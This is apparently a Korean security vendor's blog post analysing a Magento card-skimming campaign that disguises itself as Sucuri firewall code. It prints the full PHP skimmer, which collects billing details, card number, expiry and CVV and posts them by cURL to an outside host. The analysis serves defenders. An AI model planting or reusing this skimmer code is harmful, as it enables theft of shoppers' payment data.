코로나19 봉쇄 조치와 블랙프라이데이·사이버먼데이(BFCM), 크리스마스 시즌 할인 행사가 전 세계적으로 이어지면서 올해 온라인 쇼핑 수요가 계속 급증하고 있습니다. 그와 동시에 디지털 신용카드 스키밍 공격도 함께 늘어나고 있습니다.
최근 텔레그램 악성코드 캠페인에 대한 보고에 이어, Astra Security의 보안 연구진이 보안 회사 'Sucuri'로 위장해 감염된 이커머스 스토어에서 고객의 민감한 정보를 탈취하는 또 다른 신용카드 스키밍 악성코드 캠페인을 발견했습니다. 이번 악성코드는 주로 Magento 스토어를 표적으로 삼는 것으로 추적되었지만, Prestashop, OpenCart, WooCommerce 등 다른 CMS에서도 일부 흔적이 발견된 바 있습니다.
디지털 신용카드 스키밍 공격이란?
디지털 신용카드 스키밍 공격은 웹 기반 스키밍 공격으로, 해커가 웹사이트나 이커머스 스토어에 악성 자바스크립트 코드를 삽입해 사이트를 감염시키고, 궁극적으로 방문자와 고객의 인증 정보 및 민감한 결제 정보를 탈취하는 공격입니다. 이러한 디지털 스키머의 악성 코드는 대부분 결제 페이지의 사용자 입력 폼에 심어져 사용자 입력을 가로채거나, 가짜 결제 양식이 담긴 iframe을 생성해 고객의 신용카드 정보를 빼돌립니다.
디지털 스키밍은 지금까지 수십만 개의 웹사이트에 피해를 입혔으며, 영국항공(British Airways), 메이시스(Macy's), 포브스(Forbes), NewEgg, 티켓마스터(Ticketmaster) 같은 유명 브랜드도 예외가 아니었습니다.
Magento 신용카드 스키밍 악성코드의 주요 증상
- 스토어에서 신용카드를 사용한 후 고객이 알 수 없는 거래 내역을 발견했다고 불만을 제기합니다.
- 결제 대행사나 은행에서 스토어의 결제 게이트웨이 보안에 대한 경고 이메일을 보내옵니다.
- 본인이 추가한 적 없는 결제 수단이 스토어에 등록되어 있습니다.
- Sucuri 제품을 사용하지 않는데도 웹사이트에 'Sucuri'라는 단어가 포함된 코드가 발견됩니다.
해커들은 어떻게 Sucuri 방화벽을 사칭해 결제 정보를 탈취하는가
이번 악성코드 캠페인 분석 과정에서 연구팀은 해커들이 이커머스 웹사이트(대부분 Magento 스토어)에 적극적으로 신용카드 스키밍 악성코드를 심고, 사이트 방문자나 구매자가 결제 과정에서 민감한 정보를 입력하도록 유도한다는 사실을 확인했습니다. 악성 스키머 코드는 감염된 사이트의 /app/code/core/Mage/Payment/Model/Method/Cc.php 파일 위치에 숨겨져 있습니다.
여기서 공격자는 $this->sucuri_encrypted(); 함수를 추가하는데, 이를 통해 결제 과정에서 사용자가 입력한 데이터를 외부로 유출할 수 있습니다. 유출된 데이터는 https://www.thebrandstore.gr/js/i.php로 전송됩니다.
탈취되는 데이터에는 고객의 이름, 성, 주소, 전화번호, 신용카드 정보 등 민감한 개인정보가 포함됩니다.
아래는 공격자들이 이번 악성코드 캠페인에 사용한 코드 샘플입니다:
function sucuri_encrypted()
{
$info = $this->getInfoInstance();
$object = new Mage_Checkout_Block_Onepage_Billing;
$address1 = $object->getQuote()->getBillingAddress();
$data1 = $address1->getFirstname();
$data2 = $address1->getLastname();
$data3 = $address1->getStreet(1);
$data4 = $address1->getStreet(2);
$data5 = $address1->getCity();
$data6 = $address1->getRegion();
$data7 = $address1->getPostcode();
$data8 = $address1->getCountry();
$data9 = $address1->getTelephone();
$data10 = $info->getCcNumber();
$expyear = substr($info->getCcExpYear(), -2);
$expmonth = $info->getCcExpMonth();
if (strlen($expmonth) == 1) {
$expmonth = '0'.$expmonth;
};
$data11 = $expmonth;
$data12 = $expyear;
$data13 = $info->getCcCid();
$data15 = $_SERVER['SERVER_NAME'];
$data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
//create array of data to be secured
$sucuri_firewall['firstname'] = base64_encode($data1);
$sucuri_firewall['lastname'] = base64_encode($data2);
$sucuri_firewall['address'] = base64_encode($data3);
$sucuri_firewall['address2'] = base64_encode($data4);
$sucuri_firewall['city'] = base64_encode($data5);
$sucuri_firewall['state'] = base64_encode($data6);
$sucuri_firewall['zip'] = base64_encode($data7);
$sucuri_firewall['country'] = base64_encode($data8);
$sucuri_firewall['phone'] = base64_encode($data9);
$sucuri_firewall['cc'] = base64_encode($data10);
$sucuri_firewall['exp'] = base64_encode($data11);
$sucuri_firewall['expyear'] = base64_encode($data12);
$sucuri_firewall['cvv'] = base64_encode($data13);
$sucuri_firewall['email'] = base64_encode($data16);
$sucuri_firewall['dari'] = base64_encode($data15);
$sucuri_firewall['submit'] = 'Submit';
//traverse array and prepare data for posting (key1=value1)
foreach ( $sucuri_firewall as $key => $value) {
$post_items[] = $key . '=' . $value;
}
//create the final string to be posted using implode()
$post_string = implode ('&', $post_items);
//create cURL connection
$curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php');
//set options
curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
//set data to be posted
curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
//perform our request
$result = curl_exec($curl_connection);
curl_close($curl_connection);
}
}
}.위 코드에서 볼 수 있듯이, 신용카드 정보 탈취 악성코드는 $this->sucuri_encrypted();라는 함수를 추가하며, 이 함수는 사칭된 Sucuri 방화벽 코드를 표시합니다.
이커머스 스토어를 이 악성코드로부터 보호하는 방법
이 악성코드에 감염된 이커머스 웹사이트나 스토어는 고객의 민감한 정보가 도난당하고 정상적인 주문이나 결제가 이루어지지 않으면서 매출과 고객 신뢰 모두에 큰 타격을 입을 수 있습니다. 따라서 사이트 운영자는 이러한 신용카드 스키머 및 기타 악성코드 캠페인으로부터 사이트와 고객 데이터를 보호하기 위해 사전 보안 조치를 미리 마련해 두는 것이 좋습니다.
Astra Security의 웹 애플리케이션 방화벽(WAF)을 사용 중이라면 이미 이번 공격과 더불어 SQLi, XSS, CSRF, LFI, RFI, 신용카드 해킹, 스팸, 악성 봇 등 다양한 사이버 공격과 취약점으로부터 이커머스 스토어가 보호되고 있습니다. 아울러 보안 전문가들은 오랫동안 정기적인 악성코드 검사를 웹사이트 안전을 위한 핵심 보안 조치로 권장해 왔습니다. 지금 바로 적절한 보안 조치를 갖춰 웹사이트를 항상 안전하게 지키시기 바랍니다.